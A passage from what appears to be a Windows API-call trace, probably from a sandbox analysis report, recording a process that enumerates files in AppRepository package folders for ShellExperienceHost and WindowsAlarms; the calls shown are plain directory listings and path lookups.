lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x98754596, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4570 [0221.001] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x98754596, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.001] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98754596, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x98754596, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x98754596, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0221.001] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x97467c96, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.002] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x97467c96, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0221.002] FindClose (in: hFindFile=0x1d1f4570 | out: hFindFile=0x1d1f4570) returned 1 [0221.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.003] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8c [0221.003] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e006e4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5e455d80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5e455d80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4c30 [0221.003] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e006e4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5e455d80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5e455d80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.003] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e455d80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5e455d80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5e455d80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0221.003] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e26990, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x59e26990, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x59e26990, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.004] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.004] FindClose (in: hFindFile=0x1d1f4c30 | out: hFindFile=0x1d1f4c30) returned 1 [0221.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.004] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8c [0221.004] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e006e4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5e455d80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5e455d80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4090 [0221.004] FindNextFileW (in: hFindFile=0x1d1f4090, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e006e4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5e455d80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5e455d80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.005] FindNextFileW (in: hFindFile=0x1d1f4090, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e455d80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5e455d80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5e455d80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0221.005] FindNextFileW (in: hFindFile=0x1d1f4090, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e26990, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x59e26990, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x59e26990, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.005] FindNextFileW (in: hFindFile=0x1d1f4090, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e26990, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x59e26990, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x59e26990, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0221.005] FindClose (in: hFindFile=0x1d1f4090 | out: hFindFile=0x1d1f4090) returned 1 [0221.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.005] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1510.12020.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1510.12020.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x76 [0221.006] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1510.12020.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1510.12020.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f24701, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xa6f24701, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3fd0 [0221.008] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f24701, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xa6f24701, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.008] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37d9839, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe37d9839, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe38e4773, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.008] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.008] FindClose (in: hFindFile=0x1d1f3fd0 | out: hFindFile=0x1d1f3fd0) returned 1 [0221.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.009] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1510.12020.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1510.12020.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x76 [0221.009] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1510.12020.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1510.12020.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f24701, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd5dd92fc, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4a50 [0221.010] FindNextFileW (in: hFindFile=0x1d1f4a50, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f24701, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd5dd92fc, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.011] FindNextFileW (in: hFindFile=0x1d1f4a50, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37d9839, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe37d9839, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe38e4773, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.011] FindNextFileW (in: hFindFile=0x1d1f4a50, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37d9839, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe37d9839, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe38e4773, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0221.011] FindClose (in: hFindFile=0x1d1f4a50 | out: hFindFile=0x1d1f4a50) returned 1 [0221.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.012] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0221.013] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7a [0221.013] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0221.013] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7b [0221.014] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6efe350, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd5dd92fc, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.157] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6efe350, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd5dd92fc, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.157] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c9dfeb, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe3c9dfeb, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe3d5cd3d, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.157] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.157] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.158] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0221.203] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7a [0221.204] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0221.204] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7b [0221.205] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6efe350, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd5dd92fc, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b30 [0221.206] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6efe350, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd5dd92fc, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.206] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c9dfeb, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe3c9dfeb, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe3d5cd3d, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.206] FindNextFileW (in: hFindFile=0x1d1f5b30, 